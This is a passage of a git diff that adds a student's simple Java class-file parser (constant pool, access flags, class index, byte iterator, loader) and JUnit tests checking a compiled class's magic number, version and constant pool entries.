+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/AccessFlag.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..75a579e3cb
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..c4d13704f2
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,73 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.clz;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ClassInfo;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassIndex.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..b71f919b66
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ClassInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..e818dcb72b
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ConstantInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..3ec050d100
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ConstantPool.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..09370db1e5
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,31 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.constant;
+
+import com.github.miniyk2012.coding2017.coderising.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+
+	public ConstantPool(){
+		
+	}
+
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/FieldRefInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..98c5ced1a9
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,53 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		// UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		// return utf8Info.getValue();
+		return classInfo.getClassName();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/MethodRefInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..a3cf910c99
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,56 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+
+	public String getClassName(){
+		// ConstantPool pool = this.getConstantPool();
+		// ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+        ClassInfo  clzInfo = (ClassInfo)this.getConstantInfo(classInfoIndex);
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		// ConstantPool pool = this.getConstantPool();
+		// NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(nameAndTypeIndex);
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		// ConstantPool pool = this.getConstantPool();
+		// NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(nameAndTypeIndex);
+		return typeInfo.getTypeInfo();
+	}
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/NameAndTypeInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..79f421bdd1
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,47 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		// ConstantPool pool = this.getConstantPool();
+		// UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		UTF8Info utf8Info1 = (UTF8Info)getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		// ConstantPool pool = this.getConstantPool();
+		// UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		UTF8Info utf8Info2 = (UTF8Info)getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/NullConstantInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..2a16601a40
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/StringInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..428191ee6a
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/UTF8Info.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..3247ec1656
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,30 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..73eb2fc1ff
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,79 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.loader;
+
+import com.github.miniyk2012.coding2017.coderising.jvm.util.Util;
+import org.apache.commons.lang3.ArrayUtils;
+
+import java.io.UnsupportedEncodingException;
+import java.util.Arrays;
+
+public class ByteCodeIterator {
+    private byte[] codes;
+    private int point = 0;
+
+    public ByteCodeIterator(byte[] codes) {
+        this.codes = codes;
+    }
+
+    public int nextU1toInt() {
+        byte[] u1 = new byte[] {codes[point++]};
+        return Util.byteToInt(u1);
+    }
+
+    public int nextU2toInt() {
+        byte[] u2 = new byte[] {codes[point++], codes[point++]};
+        return Util.byteToInt(u2);
+    }
+
+    /**
+     * 读取n个字节，并编码成UTF-8输出，point自动增加
+     * @param n
+     * @return
+     */
+    public String readUtf8(int n)
+    {
+        byte[] info = Arrays.copyOfRange(codes, point, point+n);
+        String utf8;
+        try {
+            utf8 = new String(info, "UTF-8");
+        } catch (UnsupportedEncodingException e) {
+            throw new RuntimeException("常量池UTF-8编码错误");
+        }
+        point += n;
+        return utf8;
+    }
+
+    /**
+     * 返回当前位置
+     * @return
+     */
+    public int position() {
+        return point;
+    }
+
+    /**
+     * n可正可负
+     * @param n
+     */
+    public void skip(int n) {
+        point = point + n;
+    }
+
+    public void seek(int n) {
+        if (n >= codes.length || n < 0) throw new IndexOutOfBoundsException();
+        point = n;
+    }
+
+    public static void main(String[] args) throws UnsupportedEncodingException {
+        byte[] codes = {0x00, 0x34, 0x00};
+        ByteCodeIterator byteCodeIterator = new ByteCodeIterator(codes);
+        System.out.println(byteCodeIterator.nextU2toInt());
+        System.out.println(byteCodeIterator.nextU1toInt());
+
+        byte[] codes2 = "Employee".getBytes("UTF-8");
+        byte[] codes3 = ArrayUtils.addAll(codes2, codes);
+        byteCodeIterator = new ByteCodeIterator(codes3);
+        System.out.println(byteCodeIterator.readUtf8(codes2.length));
+        System.out.println(byteCodeIterator.nextU2toInt());
+        System.out.println(byteCodeIterator.nextU1toInt());
+    }
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileLoader.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..650afcb6c1
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,89 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.loader;
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import org.apache.commons.io.FileUtils;
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+
+        String classPath = className.replace(".", File.separator) + ".class";
+        for (String parentPath: clzPaths) {
+            try {
+                String fullPath = parentPath + File.separator + classPath;
+                return FileUtils.readFileToByteArray(new File(fullPath));
+            } catch (IOException e) {
+                continue;
+            }
+        }
+        return null;
+    }
+	
+	public void addClassPath(String path) {
+		clzPaths.add(path);
+	}
+	
+	public String getClassPath(){
+		return String.join(";", clzPaths);
+	}
+
+    public ClassFile loadClass(String className) {
+        byte[] codes = this.readBinaryCode(className);
+        ClassFileParser parser = new ClassFileParser();
+        return parser.parse(codes);
+
+    }
+
+    // backup
+    public byte[] readBinaryCodeV1(String className) {
+        byte[] ret = null;
+        String classPath = className.replace(".", File.separator) + ".class";
+        for (String parentPath: clzPaths) {
+            String fullPath = parentPath + File.separator + classPath;
+            ret = readFileToByteArray(fullPath);
+            if (null != ret) {
+                return ret;
+            }
+
+        }
+        return ret;
+
+    }
+
+    private byte[] readFileToByteArray(String fullPath) {
+        InputStream is = null;
+        ByteArrayOutputStream bas = null;
+        byte[] ret = null;
+        try {
+            is = new BufferedInputStream(new FileInputStream(new File(fullPath)));
+            bas = new ByteArrayOutputStream();
+            byte[] buf = new byte[1024];
+            int bytesRead = 0;
+            while ((bytesRead = is.read(buf)) != -1) {
+                bas.write(buf, 0, bytesRead);
+            }
+            ret = bas.toByteArray();
+        } catch (IOException e) {
+//            e.printStackTrace();
+        } finally {
+            try {
+                if (is != null)
+                    is.close();
+                if (bas != null)
+                    bas.close();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+        }
+        return ret;
+    }
+
+    public static void main(String[] args) {
+        new ClassFileLoader().readBinaryCode("");
+    }
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..7b84a15899
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,112 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.loader;
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.AccessFlag;
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassIndex;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.*;
+
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		ClassFile clzFile = new ClassFile();
+        ByteCodeIterator byteCodeIterator = new ByteCodeIterator(codes);
+        byteCodeIterator.skip(4);  // skip magic
+        int minorVersion = byteCodeIterator.nextU2toInt();
+        int majorVersion = byteCodeIterator.nextU2toInt();
+        ConstantPool constantPool = parseConstantPool(byteCodeIterator);
+        AccessFlag accessFlag = parseAccessFlag(byteCodeIterator);
+        ClassIndex classIndex = parseClassInfex(byteCodeIterator);
+
+        clzFile.setMinorVersion(minorVersion);
+        clzFile.setMajorVersion(majorVersion);
+        clzFile.setConstPool(constantPool);
+        clzFile.setAccessFlag(accessFlag);
+        clzFile.setClassIndex(classIndex);
+        return clzFile;
+	}
+
+	protected AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+	    int access_flags = iter.nextU2toInt();
+        AccessFlag accessFlag = new AccessFlag(access_flags);
+		return accessFlag;
+	}
+
+	protected ClassIndex parseClassInfex(ByteCodeIterator iter) {
+        ClassIndex classIndex = new ClassIndex();
+        int thisClassIndex = iter.nextU2toInt();
+        int superClassIndex = iter.nextU2toInt();
+        classIndex.setThisClassIndex(thisClassIndex);
+        classIndex.setSuperClassIndex(superClassIndex);
+		return classIndex;
+	}
+
+	protected ConstantPool parseConstantPool(ByteCodeIterator iter) {
+        ConstantPool constantPool = new ConstantPool();
+        int constant_pool_count = iter.nextU2toInt();
+        ConstantInfo constantInfo;
+        constantPool.addConstantInfo(new NullConstantInfo());
+        for (int i=1; i<constant_pool_count; i++) {
+            int tag = iter.nextU1toInt();
+            constantInfo = getConstantInfo(iter, tag, constantPool);
+            constantPool.addConstantInfo(constantInfo);
+        }
+        return constantPool;
+	}
+
+    protected ConstantInfo getConstantInfo(ByteCodeIterator iter, int tag, ConstantPool pool) {
+	    switch (tag) {
+            case ConstantInfo.UTF8_INFO: {
+                UTF8Info utf8Info = new UTF8Info(pool);
+                int length = iter.nextU2toInt();
+                String value = iter.readUtf8(length);
+                utf8Info.setLength(length);
+                utf8Info.setValue(value);
+                return utf8Info;
+            }
+            case ConstantInfo.FLOAT_INFO: {
+                throw new RuntimeException(String.format("FLOAT_INFO常量池类型[%d]还未实现", tag));
+            }
+            case ConstantInfo.CLASS_INFO: {
+                ClassInfo classInfo = new ClassInfo(pool);
+                int utf8Index = iter.nextU2toInt();
+                classInfo.setUtf8Index(utf8Index);
+                return classInfo;
+            }
+            case ConstantInfo.FIELD_INFO: {
+                FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
+                int classInfoIndex = iter.nextU2toInt();
+                fieldRefInfo.setClassInfoIndex(classInfoIndex);
+                int nameAndTypeIndex = iter.nextU2toInt();
+                fieldRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+                return fieldRefInfo;
+            }
+            case ConstantInfo.METHOD_INFO: {
+                MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
+                int classInfoIndex = iter.nextU2toInt();
+                int nameAndTypeIndex = iter.nextU2toInt();
+                methodRefInfo.setClassInfoIndex(classInfoIndex);
+                methodRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+                return methodRefInfo;
+            }
+            case ConstantInfo.NAME_AND_TYPE_INFO: {
+                NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+                int index1 = iter.nextU2toInt();
+                int index2 = iter.nextU2toInt();
+                nameAndTypeInfo.setIndex1(index1);
+                nameAndTypeInfo.setIndex2(index2);
+                return nameAndTypeInfo;
+            }
+            case ConstantInfo.STRING_INFO: {
+                StringInfo stringInfo = new StringInfo(pool);
+                int index = iter.nextU2toInt();
+                stringInfo.setIndex(index);
+                return stringInfo;
+            }
+            default: {
+                throw new RuntimeException(String.format("该常量池类型[%d]还未实现", tag));
+            }
+        }
+    }
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..013ec8073a
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,176 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.test;
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassIndex;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.*;
+import com.github.miniyk2012.coding2017.coderising.jvm.loader.ClassFileLoader;
+import com.github.miniyk2012.coding2017.coderising.jvm.util.Util;
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class ClassFileloaderTest {
+
+    private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	static String path1 = ClassFileloaderTest.class.getClassLoader().getResource("struts").getPath();
+	static String path2 = ClassFileloaderTest.class.getClassLoader().getResource("jvm").getPath();
+    static ClassFile clzFile = null;
+
+    static {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        loader.addClassPath(path2);
+        String className = "com.github.miniyk2012.coding2017.jvm.test.EmployeeV1";
+
+        clzFile = loader.loadClass(className);
+        clzFile.print();
+    }
+
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        loader.addClassPath(path2);
+		
+		String className = "com.github.miniyk2012.coding2017.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		String className = "com.github.miniyk2012.coding2017.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = Util.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+
+    /**
+     * ----------------------------------------------------------------------
+     */
+
+
+    @Test
+    public void testVersion(){
+
+        Assert.assertEquals(0, clzFile.getMinorVersion());
+        Assert.assertEquals(52, clzFile.getMajorVersion());
+
+    }
+
+    @Test
+    public void testConstantPool(){
+
+
+        ConstantPool pool = clzFile.getConstantPool();
+
+        Assert.assertEquals(53, pool.getSize());
+
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+            Assert.assertEquals(2, clzInfo.getUtf8Index());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+            Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+        }
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+            Assert.assertEquals(4, clzInfo.getUtf8Index());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+            Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+        }
+        {
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+            Assert.assertEquals("name", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(6);
+            Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(7);
+            Assert.assertEquals("age", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(8);
+            Assert.assertEquals("I", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(9);
+            Assert.assertEquals("<init>", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(10);
